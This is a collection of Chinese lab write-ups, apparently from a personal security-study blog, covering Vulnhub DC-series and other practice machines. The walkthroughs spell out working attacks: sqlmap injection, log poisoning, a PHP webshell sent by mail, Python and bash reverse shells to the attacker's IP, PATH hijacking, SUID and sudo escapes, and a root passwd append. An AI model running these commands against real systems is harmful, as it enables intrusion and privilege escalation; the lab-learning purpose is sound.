RCE。\n九、附：常见高危插件速查\r插件 slug 典型问题 Plainview Activity Monitor plainview_activity_monitor 命令注入（CVE-2018-15877） Contact Form 7 contact-form-7 任意文件上传（老版本） WooCommerce woocommerce SQLi / 权限绕过 Elementor Pro elementor-pro 任意文件上传 / SSRF Duplicator duplicator 任意文件读取（备份泄露） WP File Manager wp-file-manager 任意文件上传 RCE Advanced Custom Fields advanced-custom-fields SQLi / XSS WP Statistics wp-statistics 盲注 SQLi Backup Migration backup-backup 任意文件读取 / RCE Ultimate Member ultimate-member 权限提升 / SQLi 十、一句话总结\r看 URL 的 page= 参数、看菜单项位置、看 /wp-content/plugins/ 路径前缀——三个里面任何一个命中，就是插件。\n扒到插件名之后，版本号才是关键，因为决定你能不能打。\n","date":"2026-10-25T19:58:22+08:00","permalink":"/notes/lab/targets/dc-6/wordpress%E6%8F%92%E4%BB%B6%E8%AF%86%E5%88%AB%E6%96%B9%E6%B3%95/","title":"WordPress 插件识别方法"},{"content":"老样子，先查看自己所在的网段： 然后就是用nmap去收集目标所处的ip和大致端口：nmap 192.168.11.0/24 然后再收集目标的端口：nmap -p1-65535 192.168.11.143 来到目标网站进行查看，顺便对其进行功能测试： 测试完网站已知功能后感觉没什么突破口，就想着尝试去其进行目录爆破看看： 尝试后也未发现突破口\n考虑到扫端口的时候还存在一个57965的端口，想着先用浏览器去试试： 但是好像rpcbind的历史漏洞都是有关于DDos的，跟我们获得权限没有任何关系 于是就只能重新去目标网站进行查看功能看能否突破： 在翻找的时候无意发现你刷新页面后它低下的版权文字会进行更改： 说明这个页面并非普通的静态页面，而是存在参数或模板不断修改的页面，疑似存在文件包含漏洞 但是我们现在不知道文件包含是出现在哪，现在回想一下之前目录爆破后看到的一个很奇怪的页面： 它不就是那个不断在更改的字样吗，而且你在上图所示界面刷新时它也会和我上面说的页面一样不断的修改时间（这里就不进行截图了），这下目标就明确了：这里的页面并不简单，疑似参数被隐藏存在文件包含漏洞，我们现在的目的就是去找到这个被隐藏的参数然后进行文件包含。 于是就对其文件包含的疑似存在目录进行爆破：（爆破前可以先手动猜测常见参数：path，file，page\u0026hellip;..） 成功验证出存在文件包含漏洞后就可以尝试用此漏洞攻击了，攻击前你可以先试着思考一下文件包含漏洞的常见玩法：1.配合文件上传进行包含 2.日志包含 3.session条件竞争 显然这里日志投毒是不错的玩法，于是我就通过抓包修改了自己的UA头先进行探针： 成功包含了phpinfo的代码，然后就可以让其进行包含我们自己构造的后门了\n因为日志投毒给我玩坏了导致靶机删了重新下了个，ip现在变成192.168.11.144\n成功日志投毒进去后就做了一个将权限反弹到kali（这些演示忘记截图了就直接说后面的吧） 在进行正常的提权排查无果后就想着去查看/etc/passwd换个攻击方向： 结果就是看到了数据库，我现在的想法就是先做个权限转移通过数据库进行提权\nfind / -perm -4000 -type f 2\u0026gt;/dev/null 在查看suid的时候看到了下图所示： 直接将其保存到本地并用python运行服务器让靶机将其下载下来 python3 -m http.server 9191\n下载下来并运行就提权成功了 ","date":"2026-10-22T17:26:51+08:00","permalink":"/notes/lab/targets/dc-5/dc-5%E9%9D%B6%E6%9C%BA/","title":"DC-5靶机"},{"content":"目标：找到一条能打通的路径 │ ┌───────────┴───────────┐ │ │ 路径 A 路径 B 已知软件漏洞 配置 / 逻辑缺陷 │ │ 需要：组件名+版本号 需要：枚举 + 判断 手段：查库 手段：手工测试 │ │ ├─ searchsploit ├─ 匿名共享 / 弱口令 ├─ msf search ├─ 目录列举 / 信息泄露 └─ 在线库（NVD 等） ├─ 硬编码凭据 ├─ 越权 / IDOR └─ 业务逻辑 │ │ └───────────┬───────────┘ ↓ 拿到初始访问 → 提权 → 横向 → 写报告 \u0026ldquo;查库是路径 A：拿到组件名+版本 → 判断是否受影响 → 找可利用 PoC。但还有路径 B：配置与逻辑缺陷，没有 CVE、查不到库，只能靠枚举和判断。两条路都要走。\u0026rdquo; python -c \u0026lsquo;import pty;pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo; :\n","date":"2026-10-22T15:21:18+08:00","permalink":"/notes/lab/di-140/%E4%B8%80%E4%B8%AA%E5%B0%8F%E7%9A%84%E6%80%BB%E7%BB%93/","title":"一个小的总结："},{"content":"1.在寻找文件包含漏洞的时候想通过错误的文件路径使其报错来判断是否存在文件包含，但是即使找到了正确的参数它也没用报错而是正常显示\n这是因为输入错误的文件路径页面只会显示warning：\u0026hellip;\u0026hellip;..，而且这个警告是可以通过代码display_errors给隐藏的，所以页面并不会出现报错。 而且include()这个函数即使包含错误文件也会继续往下执行后续代码，不会因为某处代码错误而中断；但是request()这个函数只要有错误它就会中断后续的代码执行。\n","date":"2026-10-19T17:39:39+08:00","permalink":"/notes/lab/targets/dc-5/dc5%E9%9D%B6%E5%9C%BA%E7%9A%84%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3/","title":"DC5靶场的问题与解决"},{"content":"1.在/root/.ssh下怎么判断这个连接ssh密钥是否是攻击者的？ \u0026ldquo;E:\\仓库\\靶场练习\\应急响应靶机\\10.17linux应急响应\\SSH公钥授权文件：攻击者公钥识别方法.docx\u0026rdquo;\n2.为什么在/root/.ssh里的密钥文件中会出现redis？ 数据库一般被分配的权限都是很大的，基本都是系统也就是root权限，在这个场景应该是攻击者通过未授权访问进redis数据库中通过数据库的权限修改了这个root的ssh文件给自己配置的登录密钥\n","date":"2026-10-18T23:43:04+08:00","permalink":"/notes/lab/emergency/10.17linux%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E4%BD%9C%E4%B8%9A10.17%E4%B8%AD%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3/","title":"应急响应作业10.17中遇到的问题与解决"},{"content":"先用ifconfig确认好kali网段后就用nmap去扫描目标端口：nmap 192.168.11.0/24 扫描信息如上 也可以用下述方法扫描： arp-scan -l： 这里我的想法是先去目标网站观察情况，找突破口，实在没有在扫描其全端口\n在去其网站观察前得先为其配置域名解析，否则无法打开页面： 本地hosts文件位置:C:\\Windows\\ System32 \\drivers\\etc\n添加192.168.2.102 dc-2\n然后用ipconfig /flushdns更新 dns 缓存\n查询DNS缓存ipconfig /displaydns\nDNS解析顺序 本地DNS缓存\u0026gt;hosts\u0026gt;DNS服务器\n之后就能成功访问目标界面了 ———————————————— 原文链接：https://blog.csdn.net/weixin_45349299/article/details/128518666 可以访问后就可以先尝试对网站的功能点进行测试 但是这个网站似乎没有什么功能点，不过在找功能点的同时我发现了它是由wordpress搭建的网站 因此我们就可以先手动探测一下：wp-admin 是wordpress的默认后台 但是对其后台功能点测试时也未发现突破口，就直接去kali的msf用历史漏洞攻击它： 但是尝试很多无果后就打算换个方向 在网页看到flag1： 上图是它的翻译，显然告诉我们要信息收集字典然后去爆破其的密码 这里我是用cewl这个工具去收集字典信息 具体使用方法见下所示文章： https://www.freebuf.com/articles/network/190128.html\n用cewl http://dc-2 -w de-2.txt去搜集目标网站信息并用w参数指定文件将信息存储 ​ WPScan是Kali Linux默认自带的一款漏洞扫描工具，它采用Ruby编写，能够扫描WordPress网站中的多种安全漏洞，其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞，并且支持最新版本的WordPress。值得注意的是，它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能。 ———————————————— 原文链接：https://blog.csdn.net/weixin_45349299/article/details/128518666\n因此我们知道目标是用wordpress搭建的网站后就可以用wpscan去扫描其漏洞 因为我们现在要做的是爆破目标，因此在收集完信息后还要收集账户，这里wpscan可以做到 wpscan --url http://dc-2 -e u 使用cat \u0026gt;\u0026gt; dc-2-u.txt \u0026lt;\u0026lt; end生成用户名字典： wpscan \u0026ndash;url http://dc-2 -P dc-2.txt直接开始暴力破解 成功 tom parturient jerry adipiscing\n我这里选择的是登录tom，页面如下： 在其页面找到flag2： Flag 2： 如果你没法利用 WordPress 漏洞走捷径，还有另外一条路。 希望你找到了另一个入口点。\n在其后台尝试无果后考虑到后台用户也可能是系统用户，于是想着用ssh去连接它，但是在端口扫描中ssh22端口是未开发的，但是开放了一个7744端口 通过nmap的指纹识别发现它的服务就是ssh，狡猾的家伙。 然后就可以尝试去登录了：ssh -p 7744 tom@192.168.11.140 发现其下面是存在flag3.txt，但是我们被rbash给限制了，现在的做法就是得去绕过它 具体见文章：https://xz.aliyun.com/news/7237\necho $PATH 先通过此命令查看路径搜索变量PATH 然后再查看哪些命令可以用：ls /home/tom/usr/bin 用vi打开flag3.txt并输入!/bin/bash 但是/被过滤掉了\n转变思路，用 set 设置环境变量 :set shell=/bin/sh 通过set设置环境变量并将shell赋值给它 :shell 成功绕过，这里的错误只是路径不正确而已，更改下全局变量即可 这下就正常了 echo $PATH export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games 把变量输出为全局变量\n切换到jerry用户 在其下面发现flag4.txt，查看发现让我们用.git进行提权 在执行sudo -l时候也看到了它： sudo git -p sudo git help config sudo git help config !/bin/bash 或 !'sh' ","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/targets/dc---2/","title":"DC - 2"},{"content":"先将kali网卡激活： sudo ip link set eth0 up sudo dhclient -v eth0\n先用ifconfig查看所在网段： 然后用nmap对本网段进行扫描：nmap 192.168.11.0/24 发现目标主机地址\n为了让手上的攻击点更多，可以去扫描目标的全端口看看有没有什么其他服务：nmap -p1-65535 192.168.11.139: 可以先去目标的80端口查看网站基本情况： 很明显的发现是一个drupal网站，然后这里有个登录页面，我们可以先对其的功能进行一个基本的探测。 发现其下面有一个创建账户的功能，就点进去查看： 发现这个有三个功能：创建账户，登录，设置新密码。 我们看到这三个功能可以形成一个基本的认知：这里是否会存在重置任意用户密码呢？ 但是经过测试并没有成功，且其他端口也不是常见端口，我就想着先进行drupal的历史漏洞探测，不过在探测之前，我先在其页面观察版本信息： 发现是7版本，那我们的搜索范围就更清晰了 直接去kali：searchsploit drupal： 然后去对应版本去试就可以了\n但是这里面的CVE漏洞太老了，所以我就改用msf去探测漏洞：msfconsole 然后使用search drupal 7 通过筛选我最终选择用2来攻击这个网站 拿到web权限\n后续就是进行提权的操作了 我首先想的是自己先找找有没有路口，实在找不到再用工具 谁知道在找suid的时候就发现入口了：find / -perm -4000 -type f 2\u0026gt;/dev/null 直接/usr/bin/find . -exec /bin/bash -p ; -quit 得到root (下图的id为www-data的原因是suid本身机制造成的，因为suid提权你获得的root实际是Euid(有效id)而非RUID（真实id）) ","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/targets/dc-1/","title":"DC-1"},{"content":"在开启此虚拟机之前得先做个配置，否则一直会报错： VMware升级到17.0后，\n并且将虚拟机环境的【硬件兼容性】升级至Workstation 17.X后，无法修改设备参数。\n进而将【硬件兼容性】版本降级。\n虚拟机→设置→更改硬件兼容性\n将虚拟机硬件兼容性改为16.2.x\n并更改下述配置： 然后就能正常打开虚拟机了\n先用nmap对网段进行扫描：nmap 192.168.11.0/24 然后再对目标进行全端口的探测：nmap -p1-65535 192.168.11.141 没有多余信息后就可以去浏览器对其网站进行测试了： 先对其站点功能进行测试 上图是网站界面的翻译 在尝试功能无果后就可以对其网站做其他方面的信息收集 上图是插件的收集 通过目录爆破收集到了更多的cms信息：它是3.7版本的joomla 现在的想法是去kali找cve对其进行攻击：searchsploit joomla 3.7 发现目标是存在sql注入的，直接将筛选好的文件保存到本地查看： 告诉我们用sqlmap去跑sqlmap -u \u0026ldquo;http://localhost/index.php?option=com_fields\u0026amp;view=fields\u0026amp;layout=modal\u0026amp;list[fullordering]=updatexml\u0026rdquo; \u0026ndash;risk=3 \u0026ndash;level=5 \u0026ndash;random-agent \u0026ndash;dbs -p list[fullordering] 结果如下： \u0026ndash;dbs是爆库名的意思 接下来跟着我的步伐即可： 列出当前数据库的名字\u0026ndash;current-db sqlmap -u \u0026ldquo;http://localhost/index.php?option=com_fields\u0026amp;view=fields\u0026amp;layout=modal\u0026amp;list[fullordering]=updatexml\u0026rdquo; \u0026ndash;risk=3 \u0026ndash;level=5 \u0026ndash;random-agent \u0026ndash;current-db -p list[fullordering] 当前数据库是joomladb\n爆表：-D \u0026lsquo;joomladb\u0026rsquo; \u0026ndash;tables sqlmap -u \u0026ldquo;http://localhost/index.php?option=com_fields\u0026amp;view=fields\u0026amp;layout=modal\u0026amp;list[fullordering]=updatexml\u0026rdquo; \u0026ndash;risk=3 \u0026ndash;level=5 \u0026ndash;random-agent -D \u0026lsquo;joomladb\u0026rsquo; \u0026ndash;tables -p list[fullordering] 判断__users这个表中存在我们想要的数据 爆字段：-D \u0026lsquo;joomladb\u0026rsquo; -T \u0026lsquo;#__users\u0026rsquo; \u0026ndash;columns sqlmap -u \u0026ldquo;http://192.168.11.141/index.php?option=com_fields\u0026amp;view=fields\u0026amp;layout=modal\u0026amp;list[fullordering]=updatexml\u0026rdquo; \u0026ndash;risk=3 \u0026ndash;level=5 \u0026ndash;random-agent -D \u0026lsquo;joomladb\u0026rsquo; -T \u0026lsquo;#__users\u0026rsquo; \u0026ndash;columns -p list[fullordering]\nsqlmap -u \u0026ldquo;http://192.168.11.141/index.php?option=com_fields\u0026amp;view=fields\u0026amp;layout=modal\u0026amp;list[fullordering]=updatexml\u0026rdquo; \u0026ndash;sql-query \u0026lsquo;SELECT username,password FROM #__users\u0026rsquo; \u0026ndash;batch admin $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 这个密码显然是被加密过的，我们直接用著名密码破解利器John the Ripper 先将密码写入一个文件，然后进行破解，步骤如下图所示 得到密码为snoopy 成功登录管理员后台拿到后台权限 在网站的扩展里发现可以写入文件，于是便先创建个探针文件进行测试： 发现是成功的，于是就可以开始写后门并通过哥斯拉去连接了 可能会有个疑问，这个路径是怎么发现的：一个是可以通过开始的目录爆破我们得知目标是存在模板的；另一个则是自己登录对方后台改写模板的时候观察到的 写好一句话木马后就可以尝试连接了 成功拿到web权限 因为个人喜欢到kali进行权限提升，于是我用反弹将web的shell弹到kali去了： 上传脚本对其配置错误进行枚举\ngcc -pthread 40611 -o dirtycow ./dirtycow /etc/passwd \u0026#39;root:$1$aa$$1$aa$cLBs1BQc1JBv3fI3drgNs0 :0:0:root:/root:/bin/bash\u0026#39; 成功将靶机打关机\n只能重启靶机再试试别的了 试试上图所示cve 成功提权 cat /proc/version查看版本 cat /etc/issue查看发行版信息\n","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/targets/dc-3/","title":"DC-3"},{"content":"下载路径：https://www.vulnhub.com/entry/dc-4,313/\n来到kali主机，老样子，先对目标进行简单的信息收集：nmap 192.168.11.0/24然后再对其全端口进行扫描：nmap -p1-65535 192.168.11.142 扫完全端口后就可以先去目标网站进行初次探测了 来到80网站发现就是单纯的登录页面，其他功能啥都没有\n插件的收集也只是告诉了我们nginx的版本和它的后端语言，没有像cms这些东西 于是我想着先对其进行目录爆破看看： 嗯其实好像也没有什么有用的信息 这些都无果过只能对其登录页面进行爆破了 因为这页面写的是管理员信息系统登录，所以我就猜测其账号就是admin，现在我们只需要对其密码进行爆破即可： 这里就不截图了，反正流程就是打开你的burp然后放入合适的字典对其进行爆破即可 最终爆破得到其密码为happy 登录进去后功能如上 发现其有个功能是执行命令ls -l，然后run时就列出了当前目录的文件。然后再去观察其他功能，但是感觉没有突破口，于是就想着从这个命令这里突破 “它有没有可能是前端传给后端执行的命令呢？”有了前面的猜想，我就赶紧打开我的burp对其进行抓包然后修改其命令传过去验证： 果然更改成了pwd，那思路不就明确了嘛 我现在的想法是反弹shell，在kali中执行nc -lvvp 5566将对方的shell反弹到我kali上面： python -c \u0026lsquo;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026ldquo;192.168.11.130\u0026rdquo;,5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\u0026quot;/bin/sh\u0026quot;,\u0026quot;-i\u0026quot;]);\u0026rsquo; 拿下web权限\n然后接下来就可以先自己去找找对方常见的配置错误：find / -perm -4000 -type f 2\u0026gt;/dev/null 在看suid的时候发现了一个对方自己构造的脚本test.sh，于是就去查看是干什么的： 但是我现在并不清楚改怎么去调用它开启命令行，于是我打算去其目录看看 然后在思索无果后偶然灵光一现看了一下权限： 发现居然是777，那不有了吗！ 直接覆盖它原本的作用然后执行\n牛，不知道是卡bug还是啥，我卡退重新获得web权限后查看suid发现没有那个文件了： 只能换个攻击思路了，于是我就放其密码配置文件：cat /etc/passwd： 发现还有其他的用户，就试着去他们目录进行查看 发现jim用户的目录下居然有密码备份文件 于是我就打算将其密码备份文件保存到我本机kali上然后再对其进行爆破： 先在kali执行：nc -lvnp 7777 \u0026gt; boqi.txt 然后在靶机执行: nc kali的ip 7777 \u0026lt; 要传过去的文件 成功带了过来，然后再将准备爆破的用户名放进一个文件 准备就绪后，就可以用九头蛇也就是hydra对其进行爆破了 hydra -L dc4passwd.txt -P boqi.txt ssh://192.168.11.142 先大致将下九头蛇参数的意义吧：-l 也就是login的意思，对对方的用户名进行爆破，l是会把你后面的输入当成用户名进行爆破，L就是把你后面的输入当成一个字典然后对字典里面的内容进行爆破。 -p 也就是password 作用同l类似，只是是对密码进行爆破。 爆破出来了jim这个账户，我们直接用ssh对其进行连接： jibril04 在其进程下简单搜索配置也没有发现任何突破口 于是就去其权限下的其他地方进行翻找： 最终在mail下找到了charles的密码：^xHhA\u0026amp;hvim0y 在看其基本配置时发现其sudo -l下是有一个命令的： 这条命令会列出当前用户被允许用sudo执行哪些命令，以及是否需要密码。我的输出里有一行关键授权：当前用户可以用root权限运行 /usr/bin/teehee ，并且不需要密码。坦白说，我第一次看到这个结果也愣了一下，teehee不是一个常见工具，查了才知道它其实是一个文本编辑器/文件追加工具，类似一个轻量级的“写入文件”小工具。\n这类工具一旦能被无密码sudo执行，就等同于你拥有了“以任意身份写文件”的能力。你可以脑补一下：如果系统允许某个员工不刷卡就能进入打印室，而这个打印室里有万能钥匙，那这个员工实际上已经拿到了通往所有房间的钥匙。写入文件的能力配合Linux账号体系，就是一条十分经典的提权路线。不要急着去拼内核漏洞，先想想“我能不能用sudo权限改写系统的关键文件”。\n作为对比， sudo vim 这类编辑器提权你可能也听说过，思路其实一样：编辑器能通过命令行扩展机制执行Shell。这里我们只有一个teehee，所以更直接的做法是用它去改系统认证文件。\n然后利用teehee写passwd，新增一个特权用户： 我选择的方式是向 /etc/passwd 文件追加一个新用户： echo \u0026lsquo;root2::0:0:root:/root:/bin/bash\u0026rsquo; | sudo /usr/bin/teehee -a /etc/passwd 逐段解释这条命令的含义： echo 生成一行符合passwd格式的记录， root2 是新用户名，后面的两个冒号之间如果留空就代表口令字段为空，第三个字段的 0 是UID，也是判断一个用户是否具备root权限的关键， 0 代表超级用户。 /usr/bin/teehee -a 表示以追加模式向指定的 /etc/passwd 文件写入。执行完之后，我可以直接通过 su root2 切换到新用户，因为它的UID是0，一进系统就是root身份。\n有些环境在写空密码的passwd条目后，登录时可能受PAM或passwd文件的认证策略影响，此时可以改用更稳妥的方案：先生成一个加密密码哈希，替换掉 root2::0:0 中的空口令位置，然后用 openssl passwd -1 -salt xyz 你的密码 生成一个密码串。不过DC4默认配置下，空的密码字段在 su 直接切换时是可以用的，我实测下来没有问题。如果你在刷机时发现 su root2 要求输入密码，十有八九是passwd字段格式出错，重新检查一下你追加的那一行是否符合规范即可。\n提权成功 ","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/targets/dc-4/","title":"DC-4"},{"content":"在开始前先用下面两条命令将kali的网卡激活\nsudo ip link set eth0 up sudo dhclient -v eth0 因为靶机与kali同处于一个网段且都为nat模式，所以我们的第一步一定是先用ifconfig查看kali的网络信息： 查看完后就可以用nmap对整个11网段进行扫描了：nmap 192.168.11.0/24： 发现其开放了445端口，这是windows文件共享的smb服务的一个默认端口 看到这个服务我们就可以尝试与其进行连接：subclient -L 192.168.11.136： 在连接的时候它会要我们输入密码，但是我们不知道密码就只能留空，留空后你会发现它给了我们一些数据 从数据中我们可以看到它有三个用户（IPC$是自带的），前两个用户登录时需要输入密码，但是在登录第三个时候就不用： 上图是需要密码的用户，尝试留空后就直接把我们退出来了 下图是不需要密码的用户，尝试留空后我们直接就进去了，用过ls查看到当前用户是存在一个文件的： 我们直接用more进行查看（用get命令下载到本地查看也行）： 发现此文件里面记载了其他用户的密码，那我们直接去试试开始需要密码的账户即可 smbclient //192.168.11.136/helios -U helios 密码是：qwerty 成功登录后用ls进行查看发现上图所示文件 下面是第一个文件的内容： 下面是第二个文件的内容： 第一个文件内容显然是没用任何用处的，我们就注意到第二个图的内容： work on /h3l105 :工作于\u0026hellip;\u0026hellip; 我们就可以大胆猜测其是网址的一个目录地址，然后我们就直接去访问： 观察到其是一个wordpress的网站 我们就可以直接用wpscan去扫描其漏洞： 于是便发现了上图所示漏洞 知道可能存在上图漏洞后，我们的做法就是1.去网上搜索对应的漏洞点 2. 直接用kali自带的漏洞搜索库 我这里选择的是后者：searchsploit mail masta 1.0 看到可利用的漏洞后，就可以去右边的path也就是漏洞说明去看看具体的使用方法： 看之前我们先用find去查找路径，然后复制路径正常cat查看即可 直接去试试它上图所示给的最后一串payload即可：wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd ： 发现确实是存在文件包含漏洞 看到文件包含我们就可以去联想到利用方法：1.配合文件上传包含后门 2.日志包含 3.session包含（条件竞争） 但是经过分析发现这三个都是无用的 那我们该怎么办呢？通过前面的信息收集我们可以注意到它还开放着25端口，这是邮件smtp协议的默认端口，所以我们这里的思路就是通过我们拿到的账户去发邮箱，邮箱里面包含着恶意代码然后再利用文件包含去解析执行！邮箱的默认地址是/var/mail，因为我们登录的用户是helios，因此我们要包含的地址为/var/mail/helios： 接下来我们只需要去发送包含恶意代码的邮件并让其解析执行即可 这里我们可以利用kali自带的工具telnet去连接目标的25端口去发送邮件：telnet 192.168.11.136 25 ；并按照邮箱格式去发送邮箱： MAIL FROM: MALABIS RCPT TO: helios data\n\u003c?php system($_GET['shell']); ?\u003e . QUIT\n执行完后直接去浏览器去包含查看是否执行成功： 发现是成功的：这里可能会有个疑问：为什么没有看到后门代码呢？答：没看到才是正常的，这说明后门被执行成功了！ 那怎么去验证呢？我们浏览器直接输入：view-source:http://192.168.11.136/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios\u0026amp;shell=id 显示如下 因此我们只需要去执行一个反弹命令即可：python -c \u0026lsquo;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026ldquo;192.168.11.130\u0026rdquo;,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\u0026quot;/bin/sh\u0026quot;,\u0026quot;-i\u0026quot;]);\u0026rsquo; 值得注意的是这里的反弹命令最好用python，其他的不知道为什么成功不了 反弹后我们先给它起个终端：python -c \u0026lsquo;import pty;pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo; : 然后再查看其上面的suid：find / -perm -u=s -type f 2\u0026gt;/dev/null : 这里我们要利用的是/opt/statuscheck ,为什么要用它呢？因为其他的是系统自带的能提就提，不能提就没啥用。而像我们选的这种是用户自己配置的，如果没有配置好是极有可能被我们利用的。 因此我们去查看其目录下的参数：strings /opt/statuscheck： 发现其中是存在curl的\n后续操作可以根据迪老师的思路去走： cd /tmp echo \u0026ldquo;/bin/sh\u0026rdquo; \u0026gt; curl chmod 777 curl export PATH=/tmp:$PATH 这里就不细讲原理了，自行看下图理解： 回到我们靶机 按照上面我给的代码对着敲就行了： 直接拿下root ","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/di-140/path%E6%8F%90%E6%9D%83/","title":"path提权"},{"content":"在开始前先用下面两条命令将kali的网卡激活\nsudo ip link set eth0 up sudo dhclient -v eth0 我真他哥的求你了，懒得去配置ip了，以后就用这个激活kali ip吧\n激活后先用ifconfig看看自己所在网段 因为kali和我们的靶机都是在虚拟机里面且都是nat的网卡模式，所以他们必定在同一网段\n找到后用nmap去整个网段进行扫描：nmap 192.168.11.0/24 发现到了目标的部分ip 访问后得到上图页面 发现这些端口好像都没有什么有价值的信息 于是就想着用dirsearch去目录爆破，爆破结果如下： 直接就得到了对方的账号密码，然后开始不是访问8080端口有个登录页面吗，直接去试试就可以了 （密码这里记得要解密，初次看可以大致猜测为md5加密） 输入后来到上图后台 成功取得后台权限\n拿到后台权限后我们的操作空间还是挺多的，特别是你知道对方后面是用什么源码搭建的，如上图所示，直接就告诉你“欢迎使用Jenkins”，你就可以去网上搜索看看有什么历史漏洞可以直接拿权限的[这里的步骤我就省略了，网上查都可以找到，反正最终就是可以反弹对方的shell] 先在kali监听6666端口，然后去棱角社区生成对应的反弹命令让后台去执行： 运行后这不就来了吗：\n拿到web权限后，我们接下来的目的就是要去得到系统权限也就是root权限，那怎么去做呢？这里用到的方法是计时任务提权 我们可以用cat /etc/crontab 的命令去查找本机存在什么计时任务： 从上图可知，确实跑着一个root权限运行的计时任务。我们这个时候就应该去思考：我们是否能够更改这个计时任务去执行别的东西呢？ 既然有了方向，我们的第一步肯定是去查看这个计时任务的目录权限，因为你只有足够的权限才能对其进行修改：ls -lai /etc/script 发现权限居然是777，那就可以做文章了 可以先看看对方脚本里原先运行的计时任务： 大致是一个删除日志的操作\n我们可以直接将反弹shell的命令写进计时任务里面去：echo \u0026ldquo;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.11.130/6677 0\u0026gt;\u0026amp;1\u0026rdquo; \u0026raquo; /etc/script/CleaningScript.sh\n在执行上图的计时任务前我们可以先在kali另起端口去监听6677，因为它是每五分钟执行一次嘛: 然后回到对方shell上执行： 执行后稍作等待即可\u0026hellip;\u0026hellip;..\n来了： 拿下\n","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/di-138/%E9%9D%B6%E5%9C%BA----cron%E6%8F%90%E6%9D%83/","title":"靶场----cron提权"},{"content":" 还是一样，用我们的 \u0026ldquo;眼睛\u0026rdquo; 先对我们的目标进行简单的信息收集： 收集完后就去目标的80端口看看是怎么个事： 在又上角发现了一个 “login” 的图示，显然就是后台登录的地方，直接点击进去： 果然是来到了登录地 因为我们并没有账户直接爆破有点不切实际就打算先观察一下目标的功能，发现在下图有个功能是 \u0026ldquo;sign up now\u0026rdquo; 这翻译成中文就是注册的意思 于是就随手注册了一个账户如上图所示\n登录我们刚刚注册的账户后就看到了一个重置密码的界面： 其实我们看到重置密码这个功能后就应该要有一个条件反射：这里是否存在重置任意用户的漏洞呢？\n通过观察其url发现有个叫 “id” 的参数，这是否是目标判断我们身份的一个数值呢？如果是的话，那我们将其改写又会怎么样呢？于是我们可以将其id设置为1然后再进行密码的修改：123456 （此处经过判断是你登录后由前端固定給你一个id值来判断你的身份，因此你可以去修改前端的固定值或者通过抓包进行修改id为1）\n修改id为1的密码为123456后来到登录页面账户输入admin密码输入123456发现登录成功来到管理员的后台，发现这里面多了一个 “upload” 也就是文件上传功能，且通过观察其url明显是php搭建的网站，那后续操作也就可想而知了，直接上传php的后门然后用哥斯拉进行连接即可\n在上传的时候因为它限制了部分后缀文件无法进行上传，所以你可以通过花式后缀去绕过它，我这里是将php后缀改成了phtml，上传成功后它会给你上传路径，去访问将代码激活即可。 来到目标的命令行这将提权脚本上传后就可以执行了，但是你在执行的时候你会发现在哥斯拉执行的时候会很卡而且执行出来的数据有时候还会乱码，不方便于我们观看。因此你可以通过哥斯拉自带的反弹shell将目标的shell反弹到我们的攻击机里面就可以在我们的攻击机去执行对应的脚本，这样就有家的感觉了 检测结果如上 我们接下来准备用的就是上图鼠标标记所示的cve漏洞\n因为msf自带这个漏洞利用，所以使用到msf内置的筛选模块： post/multi/recon/local_exploit_suggester 但是因为msf是公开版的，没有它商业版的功能强大因此扫不出来漏洞，就只能继续用我们的脚本进行后续的漏洞利用 ","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/di-138/%E9%9D%B6%E5%9C%BA%E4%BA%8C/","title":"靶场二"},{"content":"还是一样，先用眼睛去探测对方的ip与端口： nmap 192.168.11.0/24 nmap -p1-65535 192.168.11.133\n找到目标的存活端口后便可以先去浏览器进行信息收集找突破口\n在我们探测81端口的时候发现这个路径下的文件是有代码进行鉴权的，如果还有其他的信息没有收集（比如目前还有个80端口没有去看）就可以先试着再去收集一下，不到万不得以先别采用爆破的手段\n来到80端口： 初略看好像并没有什么有价值的信息，我这里选择先采取目录爆破的方式进行探查\nGobuster： 发现确实有我们目前并不知道的路径后便可以一个一个去看看\n来带上图所示路径后发现这里好像有个类似提交什么信息的功能\n在我们提交的时候发现对方还有一个名为 \u0026ldquo;file\u0026rdquo; 的参数在数据包里面，猜想可能是数据提交的路径，于是就去访问，果然有收获： 此时我们可以试想，如果这时候我们提交的数据是一个后门代码且通过抓包将.txt后缀改成后门后缀是否可以成功植入后门呢？\n通过观察可以看到对方是用前端来固定数据发送的目的的，因此我们可以在提交数据前先将这个值改成我们的后门路径\n最终修改后准备提交的数据如下： ","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/di-138/%E9%9D%B6%E5%9C%BA%E4%B8%89/","title":"靶场三"},{"content":"1.先尝试在kali中用nmap命令将目标的存在端口与ip给探测出来 payload：namp -p1-65535 目标IP\n2.去观察自己扫描出的端口： 